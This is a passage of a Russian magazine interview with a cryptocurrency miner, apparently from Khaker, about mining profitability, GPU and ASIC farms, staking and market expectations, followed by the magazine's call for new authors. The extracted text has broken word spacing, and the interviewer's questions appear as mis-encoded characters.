— Да, как обыч но, при чина одна — май нинг мертв, эфир на PoS. Прос то все
отвыкли май нить, все ста ли ленивы ми или вов се не зна ют, как залить кас -
томный май нер в линь, что бы копать новую монету. Про ще май нить эфир, ну
или про дать кар ты.

— Êàêèå ìîíåòû òû ìàéíèøü? È ÷òî íàèáîëåå âûãîäíî ñåé÷àñ
ìàéíèòü?
— На proof of work у меня май нит ся четыре монеты. Ясное дело, это биток
и эфир, недав но взял потес тить аси ки iPollo для Ethereum Classic, чувс твую,
будет памп. Ну и по фану май ню GRIN тоже на аси ках, прав да в соло.

Ес ли не счи тать сек ретных монет, наибо лее выгод но сей час май нить эфир
на кар точках, ну мож но дуалить с каким-нибудь алго парал лель но. У раз ных
монет раз ные алго рит мы хеширо вания, нап ример одни хороши под AMD, дру -
гие под Nvidia. От алго рит мов зависит и элек тро пот ребле ние кар ты, и даже
износ. Есть холод ные алги, есть горячие.

Асик (ASIC — application specic integrated
circuit) — спе циаль ное обо рудо вание для май -
нин га крип товалют.

— ×òî çà ñåêðåòíûå ìîíåòû?
— Сек ретные монеты — это те, про которые ник то не слы шал, они дают пер -
вое вре мя свер хдо ход ность, пока слож ность не уле тела в кос мос. Это осо бен -
но инте рес ное вре мя для май нин га соло.

— À êàê èõ íàõîäèòü?
— Все сек ретные монеты рож дают ся в GitHub. Юзай поиск по клю чевым сло -
вам!

— Ìàéíèíã âûãîäíåå, ÷åì ñòåéêèíã?
— Ну тут все счи тает ся в момен те, и очень мно гое зависит от про екта. Такие
гемы, как Solana или Graph, попада ются очень ред ко.

— À â ÷åì çàêëþ÷àåòñÿ èõ ãåìíîñòü?
— Сей час для меня гем ность — это высокий доход за отно ситель но корот кий
срок: один-два года. «Соляна» и «Граф» в момен те пок рыли рис ки с головой.
Ведь крип та — это исклю читель но про день ги, а не про тех нологии, как бы
печаль но это ни зву чало.

— Òî åñòü òû íå âåðèøü âî âñå ýòè DeFi-ðåâîëþöèè, Web3 è
ïðî÷èå ìåòàâåðñû? Íà òîé æå «Ñîëàíå» îãðîìíàÿ ýêîñèñòåìà,
âñÿêèå raydium.io è ïðî÷åå...
— Конеч но, я верю во все эти при колю хи, но с при ходом в крип ту инсти туци -
она лов все поменя лось. Прос то я выбираю PoW, так как это ста биль ность: уж
если все ска манет ся, то у меня хотя бы железя ки оста нут ся. А если про изой дет
какой-нибудь сле шинг на стей кин ге, то это будет пол ный попадос, ты можешь
лишить ся как основно го стей ка, так и зарабо тан ных монет. С повом это сде -
лать слож нее и дороже.

«Сле шинг на стей кин ге» — штра фы, при меня емые
к валида торам за наруше ния про цес са валида -
ции.

— Ïîñëå ïåðåõîäà íà PoS áóäåøü çàâîäèòü íîäó ýôèðà?
— Под эфир я ноду заводить точ но не буду, есть более инте рес ные и не такие
ресур созат ратные про екты по стей кин гу. У меня есть ноды дру гих монет,
боль шинс тво из них — это VDS, но есть и желез ные ноды, так как арен довать
сер вак с хорошей GPU очень дорого.

— À êàêèå ïðîåêòû èíòåðåñíåå, ÷åì ýôèð, â ïëàíå ñòåéêèíãà?
— Очень слож ный воп рос, но я делаю став ку на Polkadot и ATOM, опять же
исклю читель но ради при были. Про ектов мно го, откры вай  и выбирай
любой. А вооб ще мож но открыть Ledger Live и смот реть, какие монеты он под -
держи вает в стейк. Я делаю так.

p2p.org

— Íàñêîëüêî âîîáùå ìàéíèíã ïðèáûëåí?
— Тут надо раз делять май нинг на GPU и май нинг на аси ках. И все зависит
от розет ки (сто имость киловатт-часа). От того, нас коль ко у тебя дешевое элек -
три чес тво, нап рямую зависит доход. Нап ример, я в момен те пла чу за свет
в четыре раза мень ше, чем ковыря ется. С соседя ми проб лем нет: я живу
в дерев не в отдель ном доме, у меня сель ский тариф, и рядом нет никого, мне
вооб ще норм.

По аси кам на сей час ситу ация у меня такая, что я работаю в ноль.
При цене 4,26 р. за киловатт-час.

ASIC

По GPU сов сем наобо рот, 90 бак сов в день чис тыми. При цене 3,17 р.
за киловатт-час получа ется как на скрин шоте.

— À íà âèäåîêàðòàõ 90 áàêñîâ ÷èñòûìè — ýòî ôåðìà èç ñêîëüêèõ è
êàêèõ èìåííî âèäåîêàðò? È ñêîëüêî îíà ñòîèëà èçíà÷àëüíî?
— Око ло 80 кар точек, Nvidia, все — 30-я серия. По цене вро де 2500 руб лей
за мегахеш выш ло, но я точ но не могу ска зать, запамя товал что-то.

Ме гахеш — еди ница изме рения вычис литель ной
мощ ности устрой ства, добыва юще го крип -
товалю ту: один мил лион переби раемых хешей
в секун ду.

— Êàê áûñòðî óñòàðåâàåò îáîðóäîâàíèå?
— Тут все зависит от того, в каких усло виях работа ют железя ки. Если их обслу -
живать и не перег ревать, то они будут работать годами. У меня до сих пор тру -
дят ся и GeForce GTX 1070, им уже шесть лет. Тут ско рее речь про рас ходни ки:
рай зеры, бло ки питания, кабелеч ки там раз ные. А осталь ное железо может
слу жить годами.

— Áûëè ïîæàðû? Êàêèå-òî àâàðèè? Âíåøòàòíûå ñèòóàöèè?
— Пожаров как таковых не было, бывало, выгора ли вил ки и розет ки, бабаха ли
кон деры в кар тах, но ничего серь езно го не было. Потопы слу чались, пару раз
залива ло риги, но ничего, феном про сушил, и в работу опять!

— Ðåêà ðàçëèëàñü?
— Не нас толь ко гло баль ный потоп! Прос то бал кон залило дож диком ;)

— À âîîáùå êîãäà è êàê òû óâëåêñÿ ìàéíèíãîì? Çàðàáàòûâàòü ñòàë
ñðàçó? Äîëãî ðàçáèðàëñÿ? Ñ êàêèìè ïðîáëåìàìè ñòàëêèâàëñÿ?
— Вес ной 2017 года я купил пер вый риг на шесть GeForce RTX 1070, и, ког да
уви дел на пуле, как уве личи вают ся копей ки и оно само работа ет, я понял, что
эта работ ка по мне!

За раба тывать стал не сра зу, на тот момент это был единс твен ный источник
дохода. И так как я был в режиме HODL, я взял кре дит в бан ке и опла чивал им
элек три чес тво, толь ко что бы не тра тить монет ки.

Раз бирал ся недол го, по сути риг — это обыч ный комп с боль шим количес -
твом видях. Все очень быс тро и прос то собира ется. Плюс у меня есть кен ты,
которые май нили в 2009 году, и пер вую машин ку я соб рал с ними.

Проб лемы...
Единс твен ная проб лема — это жизнь в веч ном ожи дании пам па! Нор маль -

ные день ги пош ли где-то пару лет назад.

— Òî åñòü òû ìàéíèøü áèòêîèí è äðóãóþ êðèïòó âñå âðåìÿ, à
ïðîäàåøü òîëüêî íà ïàìïå?
— Я не про даю монеты, которые май ню, пока есть сво бод ные день ги.

— À êîãäà íà÷íåòñÿ íîâûé ïàìï áèòêîèíà? Â ðàéîíå õàëâèíãà
ïëþñ-ìèíóñ?
— Да, хал ва — это всег да пред вес тник пам па. Исто ричес ки сло жилось, что
пос ле хал вы биток про бива ет новый абсо лют ный мак симум. Ну и хал винг —
это же не толь ко про бит коин, ско ро хал ва у ETC и Zcash. Я думаю, мы уви дим
оче ред ную ракету где-то в сен тябре 2024 года. Не финан совый совет!

Хал винг, «упо лови нива ние» — пери оди чес кое
умень шение количес тва генери руемо го Bitcoin
ров но наполо вину.

— ×àñòî â ìåäèà è ÷àòàõ ðàçãîíÿåòñÿ èñòîðèÿ, ÷òî âîò ó ìàéíèíãà
åñòü êàêàÿ-òî òî÷êà, ãäå îí ñòàíîâèòñÿ óáûòî÷åí, è ìàéíåðû òîãäà
óéäóò èç áèòêîèíà. Ýòî ãîðîäñêàÿ ëåãåíäà èëè ÷òî-òî ðåàëüíîå?
— Конеч но, я пов торюсь, что все зависит от тарифа на элек три чес тво и от
модели аси ка. Мои M20s на 70 TH сей час работа ют в ноль, если биток чуть
про сядет, будет уже минус, и тут все зависит от тво ей веры в биток — готов ли
ты пла тить за свет из сво его кар мана, а не из дохода аси ков.

Whatsminer M20s 70 Th/s — ASIC для май нин га
бит коина.

— Òî åñòü âîçìîæíà ñèòóàöèÿ, ÷òî áîëüøàÿ ÷àñòü ìàéíåðîâ
ïëþíåò è íå ñòàíåò ìàéíèòü â óáûòîê, à ñåòü áèòêîèíà ñòàíåò
óÿçâèìà äëÿ àòàê?
— Нет, такой ситу ации не может быть, биток всег да будут май нить. А что
говорить про децен тра лиза цию как век тор ата ки, ну сей час все ми мощами BTC
вла деют чет веро-пятеро дядек. А вот на ETC, я думаю, мы уви дим сюр при зы,
ког да на нее кинут эфир ные мощ ности.

— Êàêîãî ïëàíà ñþðïðèçû?
— Ну что-то из серии ата ки 51%, откат чей на. У ETC с этим всег да проб лемы
были, тяж ко им будет вывозить моща с эфи ра.

— ×òî áû òû ïîñîâåòîâàë íîâè÷êó, êîòîðûé ñåé÷àñ õî÷åò çàíÿòüñÿ
ìàéíèíãîì?
— Посове товал бы тер пения и никог да не брать кре дит. Сей час очень соч ное
вре мя для вхо да в май нинг: железа мно го и оно дешево. Если есть воз -
можность купить хотя бы пару карт и вре мя, чтоб всем этим занимать ся, то я
советую не откла дывать. В дол госроч ной пер спек тиве всег да выиг рыва ют
покупа тели лопат, а не их про дав цы.

— Äàâàé â çàêëþ÷åíèå êàêóþ-íèáóäü çàõâàòûâàþùóþ áàéêó èç
æèçíè ìàéíåðà.
— Навер ное, самое инте рес ное — это был экспе римент: как про жить месяц
за крип ту, не выводя в фиат. Было драй вово и угар но объ яснять людям, что
биток — это тоже день ги, толь ко луч ше.

Еще при коль ная ситу ация была, ког да мой хороший зна комый поп росил
мах нуть его бит ки на бак сы. Сум ма была немалень кая.

Зи ма, холод, Мос ква. При лета ем с ним в Мос кву на сдел ку, людей,
с которы ми я дол жен был встре тить ся, я вооб ще не знаю. Пос тоян но менялись
мес та встре чи, мы бегали по суг робам в поис ках нуж ных нам людей, в ито ге
где-то на краю мира нам при ходит сооб щение с локаш кой и мар кой машины,
в которой будет встре ча. Зап рыгива ем на зад нее сиденье какого-то лютого
супер кара, и туда же вывали вают два боль ших пакета с бак сами. Я было
подумал, что это наша конеч ная, но нет, все хорошо в ито ге выш ло. Упа кова ли
всё по пакетам и дви нули в аэро порт.

Еще при коль чик был со встро енным в Ledger обменни ком. Нуж но было
мах нуть 6 BTC в DAI, в ито ге у меня лочат все бит ки и про сят прой ти KYC и пре -
дос тавить инфу по двум тран закци ям в сети эфи ра, которые были 619 дней
назад. Мне фар тануло, что это были мои тран зы, и я поп росил сде лать дамп
депози тов и исто рию тор гов. Через пять дней мои биточ ки раз лочили. Прав да,
теперь я этим сер висом не поль зуюсь...

Ну а так при колов мно го раз ных бывало, и я думаю, что пос ле PoS эфир ки
нас ждут чудес ные вре мена. Жду новые монеты и алги, а то надо ело уже, что
оно само работа ет!

mailto:aprilkey@gmail.com
http://t.me/vecherniy_danya
http://danya.ru/
http://p2p.org/


«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ
ÑÒÀÒÜÞ?
Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?
Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?
1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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